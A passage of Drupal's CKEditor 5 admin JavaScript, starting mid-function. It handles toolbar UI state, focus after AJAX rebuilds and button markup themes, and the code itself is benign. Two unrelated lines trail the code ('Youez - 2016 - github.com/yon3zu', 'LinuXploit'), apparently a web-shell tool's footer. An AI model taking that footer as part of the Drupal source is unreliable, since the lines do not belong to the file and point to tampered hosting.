                .querySelector('[data-expanded]')
                .setAttribute('data-expanded', 'false');
            }
          }
        });
      });

      /**
       * Updates the UI state info in the form's 'data-drupal-ui-state' attribute.
       *
       * @param {object} states
       *   An object with one or more items with the structure { ui-property: stored-value }
       */
      const updateUiStateStorage = (states) => {
        const form = document.querySelector(
          '#filter-format-edit-form, #filter-format-add-form',
        );

        // Get the current stored UI state as an object.
        const currentStates = form.hasAttribute('data-drupal-ui-state')
          ? JSON.parse(form.getAttribute('data-drupal-ui-state'))
          : {};

        // Store the updated UI state object as an object literal in the parent
        // form's 'data-drupal-ui-state' attribute.
        form.setAttribute(
          'data-drupal-ui-state',
          JSON.stringify({ ...currentStates, ...states }),
        );
      };

      /**
       * Gets a stored UI state property.
       *
       * @param {string} property
       *   The UI state property to retrieve the value of.
       *
       * @return {string|null}
       *   When present, the stored value of the property.
       */
      const getUiStateStorage = (property) => {
        const form = document.querySelector(
          '#filter-format-edit-form, #filter-format-add-form',
        );

        if (form === null) {
          return;
        }

        // Parse the object literal stored in the form's 'data-drupal-ui-state'
        // attribute and return the value of the object property that matches
        // the 'property' argument.
        return form.hasAttribute('data-drupal-ui-state')
          ? JSON.parse(form.getAttribute('data-drupal-ui-state'))[property]
          : null;
      };

      // Add an attribute to the parent form for storing UI states, so this
      // information can be retrieved after AJAX rebuilds.
      once(
        'ui-state-storage',
        '#filter-format-edit-form, #filter-format-add-form',
      ).forEach((form) => {
        form.setAttribute('data-drupal-ui-state', JSON.stringify({}));
      });

      /**
       * Maintains the active vertical tab after AJAX rebuild.
       *
       * @param {Element} verticalTabs
       *   The vertical tabs element.
       */
      const maintainActiveVerticalTab = (verticalTabs) => {
        const id = verticalTabs.id;

        // If the UI state storage has an active tab, click that tab.
        const activeTab = getUiStateStorage(`${id}-active-tab`);
        if (activeTab) {
          setTimeout(() => {
            const activeTabLink = document.querySelector(activeTab);
            activeTabLink.click();

            // Only change focus on the plugin-settings-wrapper element.
            if (id !== 'plugin-settings-wrapper') {
              return;
            }
            // If the current focused element is not the body, then the user
            // navigated away from the vertical tab area and is somewhere else
            // within the form. Do not change the current focus.
            if (document.activeElement !== document.body) {
              return;
            }
            // If the active element is the body then we can assume that the
            // focus was on an element that was replaced by an ajax command.
            // If that is the case restore the focus to the active tab that
            // was just rebuilt.
            const targetTabPane = document.querySelector(
              activeTabLink.getAttribute('href'),
            );
            if (targetTabPane) {
              const tabbableElements = tabbable(targetTabPane);
              if (tabbableElements.length) {
                tabbableElements[0].focus();
              }
            }
          });
        }

        // Add click listener that adds any tab click into UI storage.
        verticalTabs.querySelectorAll('.vertical-tabs__menu').forEach((tab) => {
          tab.addEventListener('click', (e) => {
            const state = {};
            const href = e.target
              .closest('[href]')
              .getAttribute('href')
              .split('--')[0];
            state[`${id}-active-tab`] = `#${id} [href^='${href}']`;
            updateUiStateStorage(state);
          });
        });
      };

      once(
        'maintainActiveVerticalTab',
        '#plugin-settings-wrapper, #filter-settings-wrapper',
      ).forEach(maintainActiveVerticalTab);

      // Add listeners to maintain focus after AJAX rebuilds.
      const selectedButtons = document.querySelector(
        '#ckeditor5-toolbar-buttons-selected',
      );

      once('textarea-listener', selectedButtons).forEach((textarea) => {
        textarea.addEventListener('change', (e) => {
          const buttonName = document.activeElement.getAttribute('data-id');
          if (!buttonName) {
            // If there is no 'data-id' attribute, then the config
            // is happening via mouse.
            return;
          }
          let focusSelector = '';

          // Divider elements are treated differently as there can be multiple
          // elements with the same button name.
          if (['divider', 'wrapping'].includes(buttonName)) {
            const oldConfig = JSON.parse(e.detail.priorValue);
            const newConfig = JSON.parse(e.target.innerHTML);

            // If the divider is being removed from active buttons, it does not
            // 'move' anywhere. Move focus to the prior active button
            if (oldConfig.length > newConfig.length) {
              for (let item = 0; item < newConfig.length; item++) {
                if (newConfig[item] !== oldConfig[item]) {
                  focusSelector = `[data-button-list="ckeditor5-toolbar-active-buttons"] li:nth-child(${Math.min(
                    item - 1,
                    0,
                  )})`;
                  break;
                }
              }
            } else if (oldConfig.length < newConfig.length) {
              // If the divider is being added, it will be the last active item.
              focusSelector =
                '[data-button-list="ckeditor5-toolbar-active-buttons"] li:last-child';
            } else {
              // When moving a dividers position within the active buttons.
              document
                .querySelectorAll(
                  `[data-button-list="ckeditor5-toolbar-active-buttons"] [data-id='${buttonName}']`,
                )
                .forEach((divider, index) => {
                  if (divider === document.activeElement) {
                    focusSelector = `${buttonName}|${index}`;
                  }
                });
            }
          } else {
            focusSelector = `[data-id='${buttonName}']`;
          }

          // Store the focus selector in an attribute on the form itself, which
          // will not be overwritten after the AJAX rebuild. This makes it
          // the value available to the textarea focus listener that is
          // triggered after the AJAX rebuild.
          updateUiStateStorage({ focusSelector });
        });

        textarea.addEventListener('focus', () => {
          // The selector that should receive focus is stored in the parent
          // form element. Move focus to that selector.
          const focusSelector = getUiStateStorage('focusSelector');

          if (focusSelector) {
            // If focusSelector includes '|', it is a separator that is being
            // moved within the active button list. Different logic us used to
            // determine focus since there can be multiple separators of the
            // same type within the active buttons list.
            if (focusSelector.includes('|')) {
              const [buttonName, count] = focusSelector.split('|');
              document
                .querySelectorAll(
                  `[data-button-list="ckeditor5-toolbar-active-buttons"] [data-id='${buttonName}']`,
                )
                .forEach((item, index) => {
                  if (index === parseInt(count, 10)) {
                    item.focus();
                  }
                });
            } else {
              const toFocus = document.querySelector(focusSelector);
              if (toFocus) {
                toFocus.focus();
              }
            }
          }
        });
      });
    },
  };

  /**
   * Theme function for CKEditor 5 selected buttons.
   *
   * @param {Object} options
   *   An object containing options.
   * @param {Array} options.buttons
   *   An array of selected buttons.
   * @return {string}
   *   The selected buttons markup.
   *
   * @private
   */
  Drupal.theme.ckeditor5SelectedButtons = ({ buttons }) => {
    return `
      <ul class="ckeditor5-toolbar-tray ckeditor5-toolbar-active__buttons" data-button-list="ckeditor5-toolbar-active-buttons" role="listbox" aria-orientation="horizontal" aria-labelledby="ckeditor5-toolbar-active-buttons-label">
        ${buttons
          .map((button) =>
            Drupal.theme.ckeditor5Button({ button, listType: 'active' }),
          )
          .join('')}
      </ul>
    `;
  };

  /**
   * Theme function for CKEditor 5 divider buttons.
   *
   * @param {Object} options
   *   An object containing options.
   * @param {Array} options.buttons
   *   An array of divider buttons.
   * @return {string}
   *   The CKEditor 5 divider buttons markup.
   *
   * @private
   */
  Drupal.theme.ckeditor5DividerButtons = ({ buttons }) => {
    return `
      <ul class="ckeditor5-toolbar-tray ckeditor5-toolbar-divider__buttons" data-button-list="ckeditor5-toolbar-divider-buttons" role="listbox" aria-orientation="horizontal" aria-labelledby="ckeditor5-toolbar-divider-buttons-label">
        ${buttons
          .map((button) =>
            Drupal.theme.ckeditor5Button({ button, listType: 'divider' }),
          )
          .join('')}
      </ul>
    `;
  };

  /**
   * Theme function for CKEditor 5 available buttons.
   *
   * @param {Object} options
   *   An object containing options.
   * @param {Array} options.buttons
   *   An array of available buttons.
   * @return {string}
   *   The CKEditor 5 available buttons markup.
   *
   * @private
   */
  Drupal.theme.ckeditor5AvailableButtons = ({ buttons }) => {
    return `
      <ul class="ckeditor5-toolbar-tray ckeditor5-toolbar-available__buttons" data-button-list="ckeditor5-toolbar-available-buttons" role="listbox" aria-orientation="horizontal" aria-labelledby="ckeditor5-toolbar-available-buttons-label">
        ${buttons
          .map((button) =>
            Drupal.theme.ckeditor5Button({ button, listType: 'available' }),
          )
          .join('')}
      </ul>
    `;
  };

  /**
   * Theme function for CKEditor 5 buttons.
   *
   * @param {Object} options
   *  An object containing options.
   * @param {Object} options.button
   *   An object containing button options.
   * @param {String} options.button.label
   *   Button label.
   * @param {String} options.button.id
   *   Button id.
   * @param {String} options.listType
   *   The type of the list.
   * @return {string}
   *   The CKEditor 5 buttons markup.
   *
   * @private
   */
  Drupal.theme.ckeditor5Button = ({ button: { label, id }, listType }) => {
    const buttonInstructions = {
      divider: Drupal.t(
        'Press the down arrow key to use this divider in the active button list',
      ),
      available: Drupal.t('Press the down arrow key to activate'),
      active: Drupal.t(
        'Press the up arrow key to deactivate. Use the right and left arrow keys to move position',
      ),
    };
    const visuallyHiddenLabel = Drupal.t(`@listType button @label`, {
      '@listType': listType !== 'divider' ? listType : 'available',
      '@label': label,
    });
    return `
      <li class="ckeditor5-toolbar-item ckeditor5-toolbar-item-${id}" role="option" tabindex="0" data-drupal-selector="ckeditor5-toolbar-button" data-id="${id}" data-label="${label}" data-divider="${
      listType === 'divider'
    }">
        <span class="ckeditor5-toolbar-button ckeditor5-toolbar-button-${id}">
          <span class="visually-hidden">${visuallyHiddenLabel}. ${
      buttonInstructions[listType]
    }</span>
        </span>
        <span class="ckeditor5-toolbar-tooltip" aria-hidden="true">${label} </span>
      </li>
    `;
  };

  /**
   * Theme function for CKEditor 5 admin UI.
   *
   * @param {Object} options
   *   An object containing options.
   * @param {String} options.availableButtons
   *   Markup for available buttons.
   * @param {String} options.dividerButtons
   *   Markup for divider buttons.
   * @param {String} options.activeToolbar
   *   Markup for active toolbar.
   * @param {Array} options.helpMessage
   *   An array of help messages.
   * @return {string}
   *   The CKEditor 5 admin UI markup.
   *
   * @private
   */
  Drupal.theme.ckeditor5Admin = ({
    availableButtons,
    dividerButtons,
    activeToolbar,
    helpMessage,
  }) => {
    return `
    <div data-drupal-selector="ckeditor5-admin-help-message">
      <p>${helpMessage.join('</p><p>')}</p>
    </div>
    <div class="ckeditor5-toolbar-disabled">
      <div class="ckeditor5-toolbar-available">
        <label id="ckeditor5-toolbar-available-buttons-label">${Drupal.t(
          'Available buttons',
        )}</label>
        ${availableButtons}
      </div>
      <div class="ckeditor5-toolbar-divider">
        <label id="ckeditor5-toolbar-divider-buttons-label">${Drupal.t(
          'Button divider',
        )}</label>
        ${dividerButtons}
      </div>
    </div>
    <div class="ckeditor5-toolbar-active">
      <label id="ckeditor5-toolbar-active-buttons-label">${Drupal.t(
        'Active toolbar',
      )}</label>
      ${activeToolbar}
    </div>
    `;
  };

  // Make a copy of the default filterStatus attach behaviors so it can be
  // called within this module's override of it.
  const originalFilterStatusAttach = Drupal.behaviors.filterStatus.attach;

  // Overrides the default filterStatus to provided functionality needs
  // specific to CKEditor 5.
  Drupal.behaviors.filterStatus.attach = (context, settings) => {
    const filterStatusCheckboxes = document.querySelectorAll(
      '#filters-status-wrapper input.form-checkbox',
    );

    // CKEditor 5 has uses cases that require updating the filter settings via
    // AJAX. When this happens, the checkboxes that enable filters must be
    // reprocessed by the filterStatus behavior. For this to occur:
    // 1. 'filter-status' must be removed from the element's once registry so
    //    the process can run again and take into account any filter settings
    //    elements that have been added or removed from the DOM.
    //    @see core/assets/vendor/once/once.js
    once.remove('filter-status', filterStatusCheckboxes);

    // 2. Any listeners to the 'click.filterUpdate' event should be removed so
    //    they do not conflict with event listeners that are added as part of
    //    the AJAX refresh.
    $(filterStatusCheckboxes).off('click.filterUpdate');

    // Call the original behavior.
    originalFilterStatusAttach(context, settings);
  };

  // Activates otherwise-inactive tabs that have form elements with validation
  // errors.
  // @todo Remove when https://www.drupal.org/project/drupal/issues/2911932 lands.
  Drupal.behaviors.tabErrorsVisible = {
    attach(context) {
      context.querySelectorAll('details .form-item .error').forEach((item) => {
        const details = item.closest('details');
        if (details.style.display === 'none') {
          const tabSelect = document.querySelector(`[href='#${details.id}']`);
          if (tabSelect) {
            tabSelect.click();
          }
        }
      });
    },
  };
})(Drupal, drupalSettings, jQuery, JSON, once, Sortable, tabbable);

Youez - 2016 - github.com/yon3zu
LinuXploit